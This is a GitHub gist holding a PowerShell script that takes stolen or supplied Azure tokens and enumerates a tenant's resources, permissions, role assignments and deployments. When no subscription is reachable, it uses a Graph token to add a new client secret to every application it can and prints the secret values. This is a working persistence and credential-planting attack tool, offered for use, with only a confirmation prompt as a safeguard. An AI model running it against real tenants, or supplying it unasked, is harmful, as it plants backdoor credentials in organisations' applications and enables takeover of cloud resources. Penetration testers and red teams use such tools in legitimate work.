Skip to content

Instantly share code, notes, and snippets.

@erev0s
Created March 18, 2025 19:30
Show Gist options
  • Save erev0s/d63d71afab77514ffd76bd335ab5c5ff to your computer and use it in GitHub Desktop.
Save erev0s/d63d71afab77514ffd76bd335ab5c5ff to your computer and use it in GitHub Desktop.
Enumerates Azure resources and, if no subscription access is available, attempts to add a client secret to every application.
<#
.SYNOPSIS
Enumerates Azure resources and, if no subscription access is available, attempts to add a client secret to every application.
.DESCRIPTION
This script accepts an Azure Management API token and an optional Graph API token.
It first attempts to retrieve a subscription ID.
- If found, it enumerates Azure resources and their permissions.
- If not found, it uses the Graph token to enumerate all applications (via the /applications endpoint)
and then attempts to add a client secret to each one.
**WARNING:** Running this against a production tenant may result in adding new credentials to many applications.
Use with caution!
You will be prompted to confirm before proceeding with secret addition.
The output shows only the details for applications where the secret was successfully added.
With ‑v (verbose) the full details are printed; otherwise a summary table is shown.
.AUTHOR
erev0s
.VERSION
1.1
.LICENSE
GPL
.PARAMETER accessToken
The Azure Management API access token.
.PARAMETER graphToken
(Optional) The Microsoft Graph API token for enumerating and modifying applications.
.PARAMETER r
Switch to indicate that role assignments should be printed (when subscription access is available).
.PARAMETER v
Switch to include additional details in the output.
#>
[CmdletBinding()]
param (
[Parameter(Mandatory = $true)]
[string]$accessToken,
[Parameter(Mandatory = $false)]
[string]$graphToken,
[switch]$r,
[switch]$v
)
# -------------------------------
# Global Lists
# -------------------------------
$highImpactActions = @(
"Microsoft.Compute/virtualMachines/start/action",
"Microsoft.Compute/virtualMachines/deallocate/action",
"Microsoft.Compute/virtualMachines/restart/action",
"Microsoft.Compute/virtualMachines/runCommand/action",
"Microsoft.Compute/virtualMachines/delete/action",
"Microsoft.Compute/virtualMachines/extensions/write",
"Microsoft.Compute/virtualMachines/extensions/read",
"Microsoft.Network/networkInterfaces/*",
"Microsoft.Network/publicIPAddresses/*",
"Microsoft.Network/virtualNetworks/*",
"Microsoft.Authorization/*",
"Microsoft.Resources/subscriptions/resourceGroups/read",
"Microsoft.Storage/storageAccounts/*",
"Microsoft.Security/*"
)
$expectedHighPrivilegeRoles = @(
"Owner",
"Contributor",
"User Access Administrator",
"Key Vault Administrator"
)
# -------------------------------
# Function: Get-SubscriptionId
# -------------------------------
function Get-SubscriptionId {
param (
[string]$accessToken
)
$uri = "https://management.azure.com/subscriptions?api-version=2020-01-01"
$headers = @{ "Authorization" = "Bearer $accessToken" }
try {
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
$subscriptionId = $response.value[0].id -replace '/subscriptions/', ''
return $subscriptionId
}
catch {
Write-Error "Failed to retrieve subscription ID: $_"
return $null
}
}
# -------------------------------
# Function: Get-PrincipalDetails
# -------------------------------
function Get-PrincipalDetails {
param (
[string]$principalId
)
try {
$user = Get-AzADUser -ObjectId $principalId -ErrorAction Stop
return [PSCustomObject]@{
DisplayName = $user.DisplayName
SignInName = $user.UserPrincipalName
ObjectType = "User"
}
}
catch {
try {
$group = Get-AzADGroup -ObjectId $principalId -ErrorAction Stop
return [PSCustomObject]@{
DisplayName = $group.DisplayName
SignInName = ""
ObjectType = "Group"
}
}
catch {
return [PSCustomObject]@{
DisplayName = $principalId
SignInName = ""
ObjectType = "Unknown"
}
}
}
}
# ------------------------------------------------------------
# Function: Get-ResourcePermissions
# ------------------------------------------------------------
function Get-ResourcePermissions {
param (
[string]$accessToken,
[string]$subscriptionId,
[object]$resource
)
if (-not $resource.id) {
return [PSCustomObject]@{
ResourceName = $resource.name
AllActions = @()
HighImpactActions = @()
Error = "Resource does not have a valid ID."
}
}
$headers = @{ "Authorization" = "Bearer $accessToken" }
if ($resource.type -eq "Microsoft.Compute/virtualMachines/extensions") {
$resourceIdParts = $resource.id -split '/'
if ($resourceIdParts.Length -ge 10) {
$parentVmId = ($resourceIdParts[0..8] -join '/')
$uri = "https://management.azure.com$parentVmId/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
}
else {
return [PSCustomObject]@{
ResourceName = $resource.name
AllActions = @()
HighImpactActions = @()
Error = "Unexpected resource ID format."
}
}
}
else {
$uri = "https://management.azure.com$($resource.id)/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
}
try {
$permissions = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
$allActions = @()
$highImpactFound = @()
foreach ($perm in $permissions.value) {
foreach ($action in $perm.actions) {
$allActions += $action
if ($highImpactActions -contains $action) {
$highImpactFound += $action
}
}
}
return [PSCustomObject]@{
ResourceName = $resource.name
AllActions = $allActions
HighImpactActions = $highImpactFound
Error = $null
}
}
catch {
return [PSCustomObject]@{
ResourceName = $resource.name
AllActions = @()
HighImpactActions = @()
Error = $_.Exception.Message
}
}
}
# ------------------------------------------------------------
# Function: Get-RoleDefinition
# ------------------------------------------------------------
function Get-RoleDefinition {
param (
[string]$accessToken,
[string]$roleDefinitionId
)
$uri = "https://management.azure.com$($roleDefinitionId)?api-version=2015-07-01"
$headers = @{ "Authorization" = "Bearer $accessToken" }
try {
$roleDefinition = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
return $roleDefinition
}
catch {
Write-Warning "Failed to get role definition for ${roleDefinitionId}: $_"
return $null
}
}
# ------------------------------------------------------------
# Function: Get-ResourceRoleAssignments
# ------------------------------------------------------------
function Get-ResourceRoleAssignments {
param (
[string]$accessToken,
[object]$resource
)
if (-not $resource.id) {
Write-Warning "Resource '$($resource.name)' does not have a valid ID for role assignments."
return $null
}
$roleAssignmentsUri = "https://management.azure.com$($resource.id)/providers/Microsoft.Authorization/roleAssignments?api-version=2020-04-01-preview"
$headers = @{ "Authorization" = "Bearer $accessToken" }
$assignmentsOutput = @()
try {
$roleAssignments = Invoke-RestMethod -Uri $roleAssignmentsUri -Method Get -Headers $headers
if ($roleAssignments.value -and $roleAssignments.value.Count -gt 0) {
foreach ($assignment in $roleAssignments.value) {
$roleDefinitionId = $assignment.properties.roleDefinitionId
$roleDefinition = Get-RoleDefinition -accessToken $accessToken -roleDefinitionId $roleDefinitionId
$principalId = $assignment.properties.principalId
$principalDetails = Get-PrincipalDetails -principalId $principalId
if ($roleDefinition) {
$roleName = $roleDefinition.properties.roleName
$permissions = $roleDefinition.properties.permissions
$matchedHighImpact = @()
foreach ($perm in $permissions) {
foreach ($action in $perm.actions) {
if ($highImpactActions -contains $action) {
$matchedHighImpact += $action
}
}
}
$isExpected = $expectedHighPrivilegeRoles -contains $roleName
$assignmentsOutput += [PSCustomObject]@{
Role = $roleName
Principal = $principalId
DisplayName = $principalDetails.DisplayName
SignInName = $principalDetails.SignInName
"High Impact" = if ($matchedHighImpact.Count -gt 0) { $matchedHighImpact -join ", " } else { "" }
Expected = $isExpected
}
}
else {
$assignmentsOutput += [PSCustomObject]@{
Role = "Role Definition Not Found"
Principal = $principalId
DisplayName = $principalDetails.DisplayName
SignInName = $principalDetails.SignInName
"High Impact" = ""
Expected = $false
}
}
}
return $assignmentsOutput
}
else {
return $null
}
}
catch {
Write-Warning "Error retrieving role assignments for resource '$($resource.name)': $_"
return $null
}
}
# ------------------------------------------------------------
# Function: Print-ResourceResult
# ------------------------------------------------------------
function Print-ResourceResult {
param (
[object]$resource,
[object]$permData
)
Write-Output "==============================================="
Write-Output "Resource: $($resource.name)"
Write-Output "Type : $($resource.type)"
Write-Output "Location: $($resource.location)"
if ($permData.Error) {
Write-Warning "Permissions Error: $($permData.Error)"
}
else {
Write-Output "Permissions:"
foreach ($action in $permData.AllActions) {
$line = " - $action"
if ($permData.HighImpactActions -contains $action) {
Write-Host $line -ForegroundColor Red
}
else {
Write-Output $line
}
}
}
Write-Output "==============================================="
}
# ------------------------------------------------------------
# Function: Print-RoleAssignments
# ------------------------------------------------------------
function Print-RoleAssignments {
param (
[array]$assignments,
[switch]$VerboseFlag
)
if ($assignments -and $assignments.Count -gt 0) {
if ($VerboseFlag) {
Write-Output "Role Assignments (verbose):"
$assignments | Format-List
}
else {
Write-Output "Role Assignments (summary):"
$assignments | Format-Table "Role", "DisplayName", "SignInName", "High Impact", "Expected" -AutoSize
}
}
else {
Write-Output "No role assignments found."
}
}
# -------------------------------
# Function: Get-AllApplications (Graph API)
# -------------------------------
function Get-AllApplications {
param(
[Parameter(Mandatory = $true)]
[string]$graphToken
)
$uri = "https://graph.microsoft.com/v1.0/applications"
$headers = @{
"Authorization" = "Bearer $graphToken"
"Content-Type" = "application/json"
}
try {
$apps = Invoke-RestMethod -Uri $uri -Method GET -Headers $headers
return $apps.value
}
catch {
Write-Warning "Failed to retrieve applications: $_"
return $null
}
}
# -------------------------------
# Function: Add-SecretToAllApps (Graph API)
# -------------------------------
function Add-SecretToAllApps {
param(
[Parameter(Mandatory = $true)]
[string]$graphToken
)
$apps = Get-AllApplications -graphToken $graphToken
if (-not $apps -or $apps.Count -eq 0) {
Write-Output "No applications found to add secrets to."
return
}
$Results = @()
foreach ($app in $apps) {
$appId = $app.id
$displayName = $app.displayName
$params = @{
"URI" = "https://graph.microsoft.com/v1.0/applications/$appId/addPassword"
"Method" = "POST"
"Headers" = @{
"Content-Type" = "application/json"
"Authorization" = "Bearer $graphToken"
}
}
$body = @{
"passwordCredential" = @{
"displayName" = "AutoSecret_$(Get-Date -Format yyyyMMddHHmmss)"
}
}
try {
$response = Invoke-RestMethod @params -Body ($body | ConvertTo-Json) -UseBasicParsing
$obj = [PSCustomObject]@{
"App Name" = $displayName
"App ID" = $app.appId
"Key ID" = $response.keyId
"Secret" = $response.secretText
"Status" = "Secret Added"
}
$Results += $obj
if ($v) {
Write-Output "${displayName}: Secret added successfully!"
}
}
catch {
if ($v) {
Write-Output "${displayName}: No permission to add a secret!"
}
}
}
$successful = $Results | Where-Object { $_.Status -eq "Secret Added" }
if ($successful) {
Write-Output "Secret addition results:"
$successful | Format-List
}
else {
Write-Output "No secrets were successfully added."
}
}
# -------------------------------
# Function to retrieve deployments in a resource group
# -------------------------------
function Get-ResourceGroupDeployments {
param (
[string]$accessToken,
[string]$subscriptionId,
[string]$resourceGroupName
)
$uri = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroupName/providers/Microsoft.Resources/deployments?api-version=2021-04-01"
$headers = @{
"Authorization" = "Bearer $accessToken"
"Content-Type" = "application/json"
}
try {
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
# Ensure only deployments are returned and not the entire response
if ($response -and $response.value) {
return $response.value | Where-Object { $_.properties -ne $null }
}
return @() # Return an empty array if no deployments are found
}
catch {
Write-Warning "Failed to retrieve deployments: $_"
return @()
}
}
# -------------------------------
# Main Execution Flow
# -------------------------------
$subscriptionId = Get-SubscriptionId -accessToken $accessToken
if (-not $subscriptionId) {
Write-Warning "Could not obtain subscription ID. The account may not have access to any Azure resources."
if (-not $graphToken) {
Write-Output "Consider using a Graph token with the -graphToken flag to enumerate and modify applications."
exit
}
Write-Output "WARNING: Running this against a production tenant may modify multiple applications. Use with caution!"
$confirmation = Read-Host "Do you want to continue? (Y/N)"
if ($confirmation -ne "Y" -and $confirmation -ne "y") {
Write-Output "Operation cancelled by user."
exit
}
Write-Output "`nAttempting to add a secret to each application..."
Add-SecretToAllApps -graphToken $graphToken
exit
}
Write-Output "Subscription ID: $subscriptionId"
# Set common API headers
$headers = @{
"Authorization" = "Bearer $accessToken"
"Content-Type" = "application/json"
}
# -------------------------------
# Fetching Azure Resources
# -------------------------------
$uri = "https://management.azure.com/subscriptions/$subscriptionId/resources?api-version=2021-04-01"
try {
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
}
catch {
Write-Error "Error retrieving resources: $_"
exit
}
foreach ($resource in $response.value) {
$permData = Get-ResourcePermissions -accessToken $accessToken -subscriptionId $subscriptionId -resource $resource
Print-ResourceResult -resource $resource -permData $permData
if ($r) {
$roleAssignmentsTable = Get-ResourceRoleAssignments -accessToken $accessToken -resource $resource
if ($roleAssignmentsTable) {
Write-Output "Role Assignments for Resource: $($resource.name)"
Print-RoleAssignments -assignments $roleAssignmentsTable -VerboseFlag:$v
}
else {
Write-Output "No role assignments found for Resource: $($resource.name)"
}
}
}
# -------------------------------
# Fetching Resource Groups
# -------------------------------
$rgUri = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups?api-version=2021-04-01"
try {
$rgResponse = Invoke-RestMethod -Uri $rgUri -Method Get -Headers $headers
}
catch {
Write-Error "Error retrieving resource groups."
exit
}
# -------------------------------
# Fetching Deployments in Each Resource Group
# -------------------------------
foreach ($resourceGroup in $rgResponse.value) {
$resourceGroupName = $resourceGroup.name
# Fetch deployments for this resource group
$deployments = Get-ResourceGroupDeployments -accessToken $accessToken -subscriptionId $subscriptionId -resourceGroupName $resourceGroupName
if ($deployments) {
Write-Output "Deployments for Resource Group: '$resourceGroupName'"
$deployments | ForEach-Object { Write-Output " - $($_.name) (Status: $($_.properties.provisioningState))" }
}
else {
Write-Output "No deployments found for Resource Group: '$resourceGroupName'"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment